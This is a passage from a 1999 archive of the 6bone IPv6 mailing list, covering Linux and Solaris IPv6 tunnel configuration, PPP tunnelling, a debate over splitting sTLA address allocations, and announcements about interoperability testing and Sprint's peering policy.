	add net 2000::/3
	$> 

	$> cat /etc/inet/ndpd.conf
	if ip.tun0 AdvSendAdvertisements 1
	prefix 3ffe:400:380:1234::/64 ip.tun0

	Linux system script:

	#!/bin/sh
	PATH=/sbin:$PATH

	case "$1" in
	    start)
	        echo "Starting v6..."
	        insmod ipv6
	        ifconfig eth1 add 3ffe:400:380::1

	        iptunnel add v6_6bone remote 128.176.191.66 mode sit ttl
64
	        ifconfig v6_6bone up
	        route add -A inet6 2000::/3 dev v6_6bone

	        iptunnel add v6_sol8 remote 206.191.192.57 mode sit ttl
64
	        ifconfig v6_sol8 up
	        route add -A inet6 3ffe:400:380:1234::1 dev v6_sol8

	        echo 1 >/proc/sys/net/ipv4/ip_forward
	        echo 1 >/proc/sys/net/ipv6/conf/all/forwarding

	    ;;
	    stop)
	        echo -n "Stopping v6:"
	        ifconfig v6_6bone down
	        ifconfig v6_sol8 down
	        ifconfig eth1 del 3ffe:400:380::1
	    ;;
	    status)
	        iptunnel
	        /usr/inet6/bin/ping -q -c 1 -a inet6 3ffe:400:380::1
	        /usr/inet6/bin/ping -q -c 1 -a inet6
3ffe:400:380:1234::1
	    ;;
	    *)
	        echo "Usage: (start|stop|status)"
	esac


	what I see on this interface of data:
	proto src-addr        src-port dest-addr       dest-port size
if
	IPV6  206.191.192.57  0        62.52.79.1      0         112
v6_sol8


	The linux configuration of the tunnel works with 3 other tunnels
	not mentioned above.

	Any ideas or advices what's wrong?


	Gruss/Regards,
	Thomas


	Thomas Kuiper        |   tkuiper@tobit.com   |  www.tobit.com
__
	Core Development     |   TK3680-RIPE         |
/__/\
	Tobit Software GmbH  |   ICQ #8345483        |  ask your server.
\__\/



	To: ipng@sunroof.eng.sun.com
	    6bone@isi.edu

From 6bone-owner  Sun Dec 19 21:23:14 1999
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: PPP tunnel configuration
Date: Mon, 20 Dec 1999 00:23:00 -0500
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-----BEGIN PGP SIGNED MESSAGE-----

Has anyone successfully created a tunnel to the 6bone via PPP yet? 
If so, please share the process that you followed.  Thanks!

Michael W. Oliver
Gargantuan Inter-Intranet Solutions
oliver.michael@gargantuan.com
http://michael.gargantuan.com/


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From 6bone-owner  Mon Dec 20 02:22:42 1999
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Date: Mon, 20 Dec 1999 12:22:28 +0200 (EET)
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To: "Michael W. Oliver" <oliver.michael@gargantuan.com>
cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: PPP tunnel configuration
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-----BEGIN PGP SIGNED MESSAGE-----


On Mon, 20 Dec 1999, Michael W. Oliver wrote:
>Has anyone successfully created a tunnel to the 6bone via PPP yet?

I succeeded using www.freenet6.net's instructions, try them.

- ---
Jarkko Vääräniemi (GSM O4249999529 FAX O4O783O829)
jvaarani@ee.oulu.fi http://www.ee.oulu.fi/~jvaarani OH8HQL
PGP key at http://www.ee.oulu.fi/~jvaarani/pgp.asc 

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From 6bone-owner  Mon Dec 20 06:10:35 1999
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'Jarkko Vaaraniemi'" <jvaarani@ees2.oulu.fi>,
        "Michael W. Oliver"
	 <oliver.michael@gargantuan.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: PPP tunnel configuration
Date: Mon, 20 Dec 1999 09:10:23 -0500
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-----BEGIN PGP SIGNED MESSAGE-----

Thanks!  I have it running on an NT box over my cable modem and it works
like a champ!  The only downside is that I have to shutdown my software
router (WinRoute Pro) to make it work :-(((

Oh well.....thanks again for the tip!

Michael W. Oliver
oliver.michael@gargantuan.com
http://michael.gargantuan.com/






- -----Original Message-----
From: Jarkko Vaaraniemi [mailto:jvaarani@ees2.oulu.fi]
Sent: Monday, December 20, 1999 5:22 AM
To: Michael W. Oliver
Cc: '6bone@isi.edu'
Subject: Re: PPP tunnel configuration


- -----BEGIN PGP SIGNED MESSAGE-----


On Mon, 20 Dec 1999, Michael W. Oliver wrote:
>Has anyone successfully created a tunnel to the 6bone via PPP yet?

I succeeded using www.freenet6.net's instructions, try them.

- - ---
Jarkko Vääräniemi (GSM O4249999529 FAX O4O783O829)
jvaarani@ee.oulu.fi http://www.ee.oulu.fi/~jvaarani OH8HQL
PGP key at http://www.ee.oulu.fi/~jvaarani/pgp.asc 

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From 6bone-owner  Mon Dec 20 10:14:36 1999
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	(envelope-from kenken@sfc.wide.ad.jp)
Date: Tue, 21 Dec 1999 03:14:26 +0900
Message-ID: <87d7s1lbst.wl@hirosue.v6.sfc.wide.ad.jp>
From: Kengo NAGAHASHI <kenken@sfc.wide.ad.jp>
To: 6bone@ISI.EDU
Subject: stla registry db issue
User-Agent: Wanderlust/2.2.12 (Joyride) WEMI/1.13.7 (Shimada) CLIME/1.13.6
 (=?ISO-2022-JP?B?GyRCQ2YlTj4xGyhC?=) MULE XEmacs/21.2 (beta20) (Yoko)
 (i386-pc-freebsd3.3)
Organization: Keio University/WIDE Project
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Folks.

I have some questions about stla reigstry database.

In delegating IPv6 stla address for another organizations(upper
than /48) from Local Internet Registry(LIR),it is need to update 
Regional Internet Registry(RIR)'s database.(It was defined by 
IPv6 policy draft of RIR)

So the problem is how we should do in following situation.
		+----------+
  		|RIR X(/29)|
		+----+-----+
		     |
		+----+-----+
		|LIR Y(/35)+
 	        +----+-----+
	             |     
		+----+------+
	        |NLA1 Z(/40)|  NLA1 is assumed to be a kind of 
	        +--------+--+  ISP which allocates IPv6 address 
		         |     for another organizations.
		   update| 
	             orgA(/48)

The goal of this figure is that organization A which was allocated
by NLA1 Z can update RIR X's registry database tranceparency.

The simplest way of this situation is that org A updates RIR's
database directly and RIR's "mnt-lower" syntax may help it.
But in just my opinion,it's not utilized IPv6 hierarchy address
structure (and is not clarified who will delegate reverse DNS zone).

In our current rules, org A updates  LIR Y's database once
and LIR Y registry  will update this information to RIR X's database
 in hand and also LIR Y registry delegates reverse DNS zone for org A 
in this time.(accutual allocation will be held at 1/1/2000)
In this method,it takes many human consts if 50 update queries
are coming per a day.

So I think it will very helpful that there is some mechanism that can 
make it automatically by sharing registry database or whatever.

So does anybody know or experiment such situation ? Or is there
any pointer to refer this matter? 

I think using Referral whois system is one of a solution.But I'm not
expert in rwhois and never experimenced this in IPv6 hierarchy address.

regards.

--
Kengo Nagahashi
Keio University/WIDE Project
kenken@sfc.wide.ad.jp









From 6bone-owner  Mon Dec 20 10:45:26 1999
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Date: Mon, 20 Dec 1999 10:40:03 -0800
To: 6bone@ISI.EDU, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com,
        ipv6imp@munnari.OZ.AU, deployment@ipv6.org
From: Cyndi Jung <cmj@3Com.com>
Subject: UNH test in Telluride in March
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IPv6 implementors -

The IPv6 Forum is having a series of conferences in various places
around the world.  The first was in Paris in October, the second one
in Berlin in December, and the next one is in the US in March, and
you can blame me that we are having it in Telluride, Colorado.

<http://www.ipv6forum.com>

I want very much to have a UNH test period in conjunction with the
US Summit in Telluride, Colorado, March 13-15 - the test period
would be March 15-17.  I need to work this out with whatever testing
is happening in Connect-a-thon - I need to start this NOW.  Anyone
that is interested should contact me via e-mail as soon as possible.
I have been working with Bill Lenharth on this for a couple of months
now, but I need you guys to show a measureable interest NOW - committment
can come at a later date, but an initial head count for interest is a
critical thing NOW - just respond to this if you even just think it could
happen.

Also, IPv6 has been selected as a showcase technology for the iLabs booth
in the Las Vegas 2000 Networld+Interop.  Perhaps this can drive the focus 
of the UNH testing in Telluride.

Cyndi


From 6bone-owner  Mon Dec 20 14:35:58 1999
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Date: Mon, 20 Dec 1999 16:17:40 -0600
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Kengo NAGAHASHI <kenken@sfc.wide.ad.jp>
CC: 6bone@ISI.EDU
Subject: Re: stla registry db issue
References: <87d7s1lbst.wl@hirosue.v6.sfc.wide.ad.jp>
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LIRs should **definitely** not split /35s among multiple ISPs. One /35
is for one ISP, with the whole /29 reserved for later expansion.

If NLA1 Z is an ISP, it will be given the whole /35. So why will there be updates? 

With the hierarchical delegation model of IPv6, it is not obvious that
the RIRs actually need any detail beyond who got the /35. We shouldn't blindly
assume that what was done for IPv4 is needed for IPv6. 

  Brian

Kengo NAGAHASHI wrote:
> 
> Folks.
> 
> I have some questions about stla reigstry database.
> 
> In delegating IPv6 stla address for another organizations(upper
> than /48) from Local Internet Registry(LIR),it is need to update
> Regional Internet Registry(RIR)'s database.(It was defined by
> IPv6 policy draft of RIR)
> 
> So the problem is how we should do in following situation.
>                 +----------+
>                 |RIR X(/29)|
>                 +----+-----+
>                      |
>                 +----+-----+
>                 |LIR Y(/35)+
>                 +----+-----+
>                      |
>                 +----+------+
>                 |NLA1 Z(/40)|  NLA1 is assumed to be a kind of
>                 +--------+--+  ISP which allocates IPv6 address
>                          |     for another organizations.
>                    update|
>                      orgA(/48)
> 
> The goal of this figure is that organization A which was allocated
> by NLA1 Z can update RIR X's registry database tranceparency.
> 
> The simplest way of this situation is that org A updates RIR's
> database directly and RIR's "mnt-lower" syntax may help it.
> But in just my opinion,it's not utilized IPv6 hierarchy address
> structure (and is not clarified who will delegate reverse DNS zone).
> 
> In our current rules, org A updates  LIR Y's database once
> and LIR Y registry  will update this information to RIR X's database
>  in hand and also LIR Y registry delegates reverse DNS zone for org A
> in this time.(accutual allocation will be held at 1/1/2000)
> In this method,it takes many human consts if 50 update queries
> are coming per a day.
> 
> So I think it will very helpful that there is some mechanism that can
> make it automatically by sharing registry database or whatever.
> 
> So does anybody know or experiment such situation ? Or is there
> any pointer to refer this matter?
> 
> I think using Referral whois system is one of a solution.But I'm not
> expert in rwhois and never experimenced this in IPv6 hierarchy address.
> 
> regards.
> 
> --
> Kengo Nagahashi
> Keio University/WIDE Project
> kenken@sfc.wide.ad.jp

From 6bone-owner  Mon Dec 20 17:56:54 1999
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Date: Tue, 21 Dec 1999 10:58:03 +0900 (JST)
Message-Id: <19991221.105803.74751139.kazu@Mew.org>
To: 6bone@ISI.EDU
Subject: Re: stla registry db issue
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
In-Reply-To: <385EAB04.2A6DF369@hursley.ibm.com>
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	<385EAB04.2A6DF369@hursley.ibm.com>
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From: Brian E Carpenter <brian@hursley.ibm.com>
Subject: Re: stla registry db issue

> LIRs should **definitely** not split /35s among multiple ISPs. One
> /35 is for one ISP, with the whole /29 reserved for later expansion.

In kenken's example,
	RIR is APNIC,
	LIR is WIDE Project,
and
	NLA1 is a child ISP under WIDE Project.

APNIC is certainly assigned /35 to one ISP, WIDE Project. It is up to
WIDE Project how to use its /35 address block. Actually, when an ISP
reguests sTLA, the ISP is required to explain how to use its sTLA
(e.g.  5(NLA1) + 13(NLA2) in the case of WIDE Project).

Or is there any consensus not to split sTLA for child ISPs?

--Kazu

From 6bone-owner  Tue Dec 21 06:46:56 1999
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Date: Tue, 21 Dec 1999 09:46:50 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: Sprint (3ffe:2900::/24) change announcement
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Sprint (3ffe:2900::/24) will be changing their Peering policy to no longer
provide transit for other pTLA's. Change will be made 1/10/99 at/around
midnight EST. If any pTLA has any special arrangements they would need,
please contact me prior to that date, and we can work something out. The
boots are not fully on yet :) 

All downstreams (if you get IPv6 address space from Sprint) will continue to
receive full transit to all 6bone destinations.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Tue Dec 21 08:00:13 1999
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Subject: Re: Sprint (3ffe:2900::/24) change announcement
In-Reply-To: <Pine.GSO.3.96.991221094444.16713A-100000@iscone>
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Oops. y2k bug in my fingers.. date of change will be Jan. 10, 2000 around
midnight, EST.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Tue, 21 Dec 1999, Robert J. Rockell wrote:

->Sprint (3ffe:2900::/24) will be changing their Peering policy to no longer
->provide transit for other pTLA's. Change will be made 1/10/99 at/around
->midnight EST. If any pTLA has any special arrangements they would need,
->please contact me prior to that date, and we can work something out. The
->boots are not fully on yet :) 
->
->All downstreams (if you get IPv6 address space from Sprint) will continue to
->receive full transit to all 6bone destinations.
->
->Thanks
->Rob Rockell
->Sprintlink Internet Service Center
->Operations Engineering
->703-689-6322
->1-800-724-3329, PIN 385-8833
->Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
->


From 6bone-owner  Tue Dec 21 08:03:11 1999
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Date: Tue, 21 Dec 1999 10:02:59 -0600
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To: kazu@iijlab.net
CC: 6bone@ISI.EDU
Subject: Re: stla registry db issue
References: <87d7s1lbst.wl@hirosue.v6.sfc.wide.ad.jp>
		<385EAB04.2A6DF369@hursley.ibm.com> <19991221.105803.74751139.kazu@Mew.org>
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Kazu, that is exactly what I am saying. It is a serious error to split a subTLA for
subISPs. One ISP must get one subTLA. Never split a subTLA between ISPs.
(The same applies to exchange points.)

If you split subTLAs between ISPs, you create the IPv6 toxic waste dump.

   Brian

"Kazu Yamamoto ($B;3K\OBI'(B)" wrote:
> 
> From: Brian E Carpenter <brian@hursley.ibm.com>
> Subject: Re: stla registry db issue
> 
> > LIRs should **definitely** not split /35s among multiple ISPs. One
> > /35 is for one ISP, with the whole /29 reserved for later expansion.
> 
> In kenken's example,
>         RIR is APNIC,
>         LIR is WIDE Project,
> and
>         NLA1 is a child ISP under WIDE Project.
> 
> APNIC is certainly assigned /35 to one ISP, WIDE Project. It is up to
> WIDE Project how to use its /35 address block. Actually, when an ISP
> reguests sTLA, the ISP is required to explain how to use its sTLA
> (e.g.  5(NLA1) + 13(NLA2) in the case of WIDE Project).
> 
> Or is there any consensus not to split sTLA for child ISPs?
> 
> --Kazu

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM 
On assignment for IBM at http://www.iCAIR.org 
Attend INET 2000: http://www.isoc.org/inet2000
Non-IBM email: brian@icair.org
Ethernet address: 00-00-AC-CF-5B-82

From 6bone-owner  Tue Dec 21 09:03:03 1999
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Date: Tue, 21 Dec 1999 11:47:20 -0500
To: "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: Sprint (3ffe:2900::/24) change announcement
In-Reply-To: <Pine.GSO.3.96.991221094444.16713A-100000@iscone>
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At 09:46 99-12-21 -0500, Robert J. Rockell wrote:
>Sprint (3ffe:2900::/24) will be changing their Peering policy to no longer
>provide transit for other pTLA's. Change will be made 1/10/99 at/around

1/10/99 is what:
  - 1st october 1999?
  - 10th january 1999
  - 10th january 2000
  - 10th december 1999

Marc.

>midnight EST. If any pTLA has any special arrangements they would need,
>please contact me prior to that date, and we can work something out. The
>boots are not fully on yet :)
>
>All downstreams (if you get IPv6 address space from Sprint) will continue to
>receive full transit to all 6bone destinations.
>
>Thanks
>Rob Rockell
>Sprintlink Internet Service Center
>Operations Engineering
>703-689-6322
>1-800-724-3329, PIN 385-8833
>Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
2875 boul. Laurier, suite 300	| tél.: 418-656-9254
Ste-Foy, Québec		| fax.: 418-266-5539
Canada, G1V 2M2		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
                http://www.normos.org
------------------------------------------------------------


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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: PPP tunnel configuration
Date: Mon, 20 Dec 1999 00:23:00 -0500
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-----BEGIN PGP SIGNED MESSAGE-----

Has anyone successfully created a tunnel to the 6bone via PPP yet? 
If so, please share the process that you followed.  Thanks!

Michael W. Oliver
Gargantuan Inter-Intranet Solutions
oliver.michael@gargantuan.com
http://michael.gargantuan.com/


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From 6bone-owner  Tue Dec 21 18:07:04 1999
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Date: Wed, 22 Dec 1999 11:08:15 +0900 (JST)
Message-Id: <19991222.110815.41631605.kazu@Mew.org>
To: 6bone@ISI.EDU
Subject: Re: stla registry db issue
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
In-Reply-To: <385FA4B3.A39E7C0D@hursley.ibm.com>
References: <385EAB04.2A6DF369@hursley.ibm.com>
	<19991221.105803.74751139.kazu@Mew.org>
	<385FA4B3.A39E7C0D@hursley.ibm.com>
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From: Brian E Carpenter <brian@hursley.ibm.com>
Subject: Re: stla registry db issue

> Kazu, that is exactly what I am saying. It is a serious error to
> split a subTLA for subISPs. One ISP must get one subTLA. Never split
> a subTLA between ISPs.  (The same applies to exchange points.)  If
> you split subTLAs between ISPs, you create the IPv6 toxic waste
> dump.

In my understanding, the difference between TLA and sTLA is only
scale. As TLA is to be split into NLAs, sTLA is to be split into NLAs.

Nobody knows what is the best component/organization for TLAs and
NLAs. However, in the current Internet model, TLA is big ISPs and NLA
is medium ISPs.

It seems to me that your opinion is incorrect.

--Kazu

From 6bone-owner  Tue Dec 21 21:06:42 1999
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'itojun@iijlab.net'" <itojun@iijlab.net>,
        "Michael W. Oliver"
	 <oliver.michael@gargantuan.com>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: PPP tunnel configuration 
Date: Wed, 22 Dec 1999 00:06:36 -0500
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-----BEGIN PGP SIGNED MESSAGE-----

Please disregard this post.  Somehow, it has shown its face twice.......


Michael W. Oliver
Gargantuan Inter-Intranet Solutions
oliver.michael@gargantuan.com
http://michael.gargantuan.com/


- -----Original Message-----
From: itojun@iijlab.net [mailto:itojun@iijlab.net]
Sent: Tuesday, December 21, 1999 8:40 PM
To: Michael W. Oliver
Cc: '6bone@isi.edu'
Subject: Re: PPP tunnel configuration 


>Has anyone successfully created a tunnel to the 6bone via PPP yet? 
>If so, please share the process that you followed.  Thanks!

	can you state the platform you are using?

itojun

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From 6bone-owner  Wed Dec 22 07:41:08 1999
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Date: Wed, 22 Dec 1999 07:40:54 -0800
To: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>,
        Brian E Carpenter <brian@hursley.ibm.com>
From: Bob Fink <fink@es.net>
Subject: Re: stla registry db issue
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <19991222.110815.41631605.kazu@Mew.org>
References: <385FA4B3.A39E7C0D@hursley.ibm.com>
 <385EAB04.2A6DF369@hursley.ibm.com>
 <19991221.105803.74751139.kazu@Mew.org>
 <385FA4B3.A39E7C0D@hursley.ibm.com>
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At 11:08 AM 12/22/99 +0900, =?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?= wrote:
>From: Brian E Carpenter <brian@hursley.ibm.com>
>Subject: Re: stla registry db issue
>
> > Kazu, that is exactly what I am saying. It is a serious error to
> > split a subTLA for subISPs. One ISP must get one subTLA. Never split
> > a subTLA between ISPs.  (The same applies to exchange points.)  If
> > you split subTLAs between ISPs, you create the IPv6 toxic waste
> > dump.
>
>In my understanding, the difference between TLA and sTLA is only
>scale. As TLA is to be split into NLAs, sTLA is to be split into NLAs.
>
>Nobody knows what is the best component/organization for TLAs and
>NLAs. However, in the current Internet model, TLA is big ISPs and NLA
>is medium ISPs.
>
>It seems to me that your opinion is incorrect.

In looking at the mail on this it seems that there is a confusion between 
you folk over what splitting the subTLA means, and you both have it right, 
but think the other is not understanding you. The /35 subTLA assigned by 
the RIR is intended to be split up to the right of the /35 (i.e., in the 
NLA space) for use by lower level providers, but not to the left of the /35 
(as this is part of the extended subTLA field the RIR is holding back for 
future use, unspecified for now).


Bob


From 6bone-owner  Wed Dec 22 07:58:59 1999
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Date: Thu, 23 Dec 1999 01:00:12 +0900 (JST)
Message-Id: <19991223.010012.74748698.kazu@Mew.org>
To: 6bone@ISI.EDU
Subject: Re: stla registry db issue
From: Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=)
 <kazu@iijlab.net>
In-Reply-To: <4.2.2.19991222073443.00b6fd50@imap2.es.net>
References: <385FA4B3.A39E7C0D@hursley.ibm.com>
	<19991222.110815.41631605.kazu@Mew.org>
	<4.2.2.19991222073443.00b6fd50@imap2.es.net>
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From: Bob Fink <fink@es.net>
Subject: Re: stla registry db issue

> In looking at the mail on this it seems that there is a confusion between 
> you folk over what splitting the subTLA means, and you both have it right, 
> but think the other is not understanding you. The /35 subTLA assigned by 
> the RIR is intended to be split up to the right of the /35 (i.e., in the 
> NLA space) for use by lower level providers, but not to the left of the /35 
> (as this is part of the extended subTLA field the RIR is holding back for 
> future use, unspecified for now).

Both kenken and I have never ever talked the reserved space
(29-35). We are just talikng about the NLA space(36-48). The original
message is as follows:

---
So the problem is how we should do in following situation.
		+----------+
  		|RIR X(/29)|
		+----+-----+
		     |
		+----+-----+
		|LIR Y(/35)+
 	        +----+-----+
	             |     
		+----+------+
	        |NLA1 Z(/40)|  NLA1 is assumed to be a kind of 
	        +--------+--+  ISP which allocates IPv6 address 
		         |     for another organizations.
		   update| 
	             orgA(/48)

The goal of this figure is that organization A which was allocated
by NLA1 Z can update RIR X's registry database tranceparency.
---

Which part is unclear?

--Kazu

From 6bone-owner  Wed Dec 22 09:22:21 1999
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Date: Wed, 22 Dec 1999 11:21:51 -0600
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: 6BONE List <6bone@ISI.EDU>
Subject: Re: stla registry db issue
References: <385FA4B3.A39E7C0D@hursley.ibm.com>
	 <385EAB04.2A6DF369@hursley.ibm.com>
	 <19991221.105803.74751139.kazu@Mew.org>
	 <385FA4B3.A39E7C0D@hursley.ibm.com> <4.2.2.19991222073443.00b6fd50@imap2.es.net>
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Well, here is the key text from RFC 2374. (there is no reason it should
be different in subTLA space):

   ...It is recommended that
   organizations assigning NLA address space use "slow start" allocation
   procedures similar to [RFC2050].

   The design of an NLA ID allocation plan is a tradeoff between routing
   aggregation efficiency and flexibility.  Creating hierarchies allows
   for greater amount of aggregation and results in smaller routing
   tables.  Flat NLA ID assignment provides for easier allocation and
   attachment flexibility, but results in larger routing tables.

My concern is that the way Kazu asked his question, with the concern about
frequent updates, did not seem compatible with the idea of slow start and
hierarchical aggregation. If we don't start with habits that create aggressive
aggregation, IPv6 routing will be in deep trouble as it grows.

I also have a concern that if an operator is really an ISP, giving them an
NLA instead of a subTLA may be a problem until we have proved how to do
convenient renumbering. What happens when they want to migrate away from using 
WIDE as their aggregator? (I realise that this is a heretical thought, since
the current rules on subTLAs are more restrictive.)

However, I agree that Kazu is not describing a strict violation of the RFCs.

   Brian

Bob Fink wrote:
> 
> At 11:08 AM 12/22/99 +0900, =?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?= wrote:
> >From: Brian E Carpenter <brian@hursley.ibm.com>
> >Subject: Re: stla registry db issue
> >
> > > Kazu, that is exactly what I am saying. It is a serious error to
> > > split a subTLA for subISPs. One ISP must get one subTLA. Never split
> > > a subTLA between ISPs.  (The same applies to exchange points.)  If
> > > you split subTLAs between ISPs, you create the IPv6 toxic waste
> > > dump.
> >
> >In my understanding, the difference between TLA and sTLA is only
> >scale. As TLA is to be split into NLAs, sTLA is to be split into NLAs.
> >
> >Nobody knows what is the best component/organization for TLAs and
> >NLAs. However, in the current Internet model, TLA is big ISPs and NLA
> >is medium ISPs.
> >
> >It seems to me that your opinion is incorrect.
> 
> In looking at the mail on this it seems that there is a confusion between
> you folk over what splitting the subTLA means, and you both have it right,
> but think the other is not understanding you. The /35 subTLA assigned by
> the RIR is intended to be split up to the right of the /35 (i.e., in the
> NLA space) for use by lower level providers, but not to the left of the /35
> (as this is part of the extended subTLA field the RIR is holding back for
> future use, unspecified for now).
> 
> Bob

From 6bone-owner  Wed Dec 22 11:27:37 1999
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To: Brian E Carpenter <brian@hursley.ibm.com>
From: Bob Fink <fink@es.net>
Subject: Re: stla registry db issue
Cc: 6BONE List <6bone@ISI.EDU>
In-Reply-To: <386108AF.E70A1FCC@hursley.ibm.com>
References: <385FA4B3.A39E7C0D@hursley.ibm.com>
 <385EAB04.2A6DF369@hursley.ibm.com>
 <19991221.105803.74751139.kazu@Mew.org>
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Brian,

At 11:21 AM 12/22/99 -0600, Brian E Carpenter wrote:
>Well, here is the key text from RFC 2374. (there is no reason it should
>be different in subTLA space):
>
>    ...It is recommended that
>    organizations assigning NLA address space use "slow start" allocation
>    procedures similar to [RFC2050].
>
>    The design of an NLA ID allocation plan is a tradeoff between routing
>    aggregation efficiency and flexibility.  Creating hierarchies allows
>    for greater amount of aggregation and results in smaller routing
>    tables.  Flat NLA ID assignment provides for easier allocation and
>    attachment flexibility, but results in larger routing tables.
>
>My concern is that the way Kazu asked his question, with the concern about
>frequent updates, did not seem compatible with the idea of slow start and
>hierarchical aggregation. If we don't start with habits that create aggressive
>aggregation, IPv6 routing will be in deep trouble as it grows.
>
>I also have a concern that if an operator is really an ISP, giving them an
>NLA instead of a subTLA may be a problem until we have proved how to do
>convenient renumbering. What happens when they want to migrate away from 
>using
>WIDE as their aggregator? (I realise that this is a heretical thought, since
>the current rules on subTLAs are more restrictive.)
>
>However, I agree that Kazu is not describing a strict violation of the RFCs.

Sorry I misinterpreted your concern, but at least it is clear to me now.

I've never discouraged anyone from trying to hand out intermediate transit 
NLAs between the subTLA (or pTLA) holder and the end-user site (/48), and I 
think what the WIDE folk are doing is just fine.


Thanks,

Bob

--=====================_185895261==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Brian,<br>
<br>
At 11:21 AM 12/22/99 -0600, Brian E Carpenter wrote:<br>
<blockquote type=cite cite>Well, here is the key text from RFC 2374.
(there is no reason it should<br>
be different in subTLA space):<br>
<br>
&nbsp;&nbsp; ...It is recommended that<br>
&nbsp;&nbsp; organizations assigning NLA address space use &quot;slow
start&quot; allocation<br>
&nbsp;&nbsp; procedures similar to [RFC2050].<br>
<br>
&nbsp;&nbsp; The design of an NLA ID allocation plan is a tradeoff
between routing<br>
&nbsp;&nbsp; aggregation efficiency and flexibility.&nbsp; Creating
hierarchies allows<br>
&nbsp;&nbsp; for greater amount of aggregation and results in smaller
routing<br>
&nbsp;&nbsp; tables.&nbsp; Flat NLA ID assignment provides for easier
allocation and<br>
&nbsp;&nbsp; attachment flexibility, but results in larger routing
tables.<br>
<br>
My concern is that the way Kazu asked his question, with the concern
about<br>
frequent updates, did not seem compatible with the idea of slow start
and<br>
hierarchical aggregation. If we don't start with habits that create
aggressive<br>
aggregation, IPv6 routing will be in deep trouble as it grows.<br>
<br>
I also have a concern that if an operator is really an ISP, giving them
an<br>
NLA instead of a subTLA may be a problem until we have proved how to
do<br>
convenient renumbering. What happens when they want to migrate away from
using <br>
WIDE as their aggregator? (I realise that this is a heretical thought,
since<br>
the current rules on subTLAs are more restrictive.)<br>
<br>
However, I agree that Kazu is not describing a strict violation of the
RFCs.</blockquote><br>
Sorry I misinterpreted your concern, but at least it is clear to me now.
<br>
<br>
I've never discouraged anyone from trying to hand out intermediate
transit NLAs between the subTLA (or pTLA) holder and the end-user site
(/48), and I think what the WIDE folk are doing is just fine.<br>
<br>
<br>
Thanks,<br>
<br>
Bob<br>
</html>

--=====================_185895261==_.ALT--


From 6bone-owner  Wed Dec 22 12:31:00 1999
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	 <385EAB04.2A6DF369@hursley.ibm.com>
	 <19991221.105803.74751139.kazu@Mew.org>
	 <385FA4B3.A39E7C0D@hursley.ibm.com>
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OK, as long as we never see anything longer than a /29 from the outside, of course.
That is what matters.

   Brian

Bob Fink wrote:
> 
> Brian,
> 
> At 11:21 AM 12/22/99 -0600, Brian E Carpenter wrote:
> 
> > Well, here is the key text from RFC 2374. (there is no reason it should
> > be different in subTLA space):
> >
> >    ...It is recommended that
> >    organizations assigning NLA address space use "slow start" allocation
> >    procedures similar to [RFC2050].
> >
> >    The design of an NLA ID allocation plan is a tradeoff between routing
> >    aggregation efficiency and flexibility.  Creating hierarchies allows
> >    for greater amount of aggregation and results in smaller routing
> >    tables.  Flat NLA ID assignment provides for easier allocation and
> >    attachment flexibility, but results in larger routing tables.
> >
> > My concern is that the way Kazu asked his question, with the concern about
> > frequent updates, did not seem compatible with the idea of slow start and
> > hierarchical aggregation. If we don't start with habits that create aggressive
> > aggregation, IPv6 routing will be in deep trouble as it grows.
> >
> > I also have a concern that if an operator is really an ISP, giving them an
> > NLA instead of a subTLA may be a problem until we have proved how to do
> > convenient renumbering. What happens when they want to migrate away from using
> > WIDE as their aggregator? (I realise that this is a heretical thought, since
> > the current rules on subTLAs are more restrictive.)
> >
> > However, I agree that Kazu is not describing a strict violation of the RFCs.
> 
> Sorry I misinterpreted your concern, but at least it is clear to me now.
> 
> I've never discouraged anyone from trying to hand out intermediate transit NLAs between the subTLA (or pTLA) holder and the
> end-user site (/48), and I think what the WIDE folk are doing is just fine.
> 
> Thanks,
> 
> Bob

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM 
On assignment for IBM at http://www.iCAIR.org 
Attend INET 2000: http://www.isoc.org/inet2000
Non-IBM email: brian@icair.org
Ethernet address: 00-00-AC-CF-5B-82

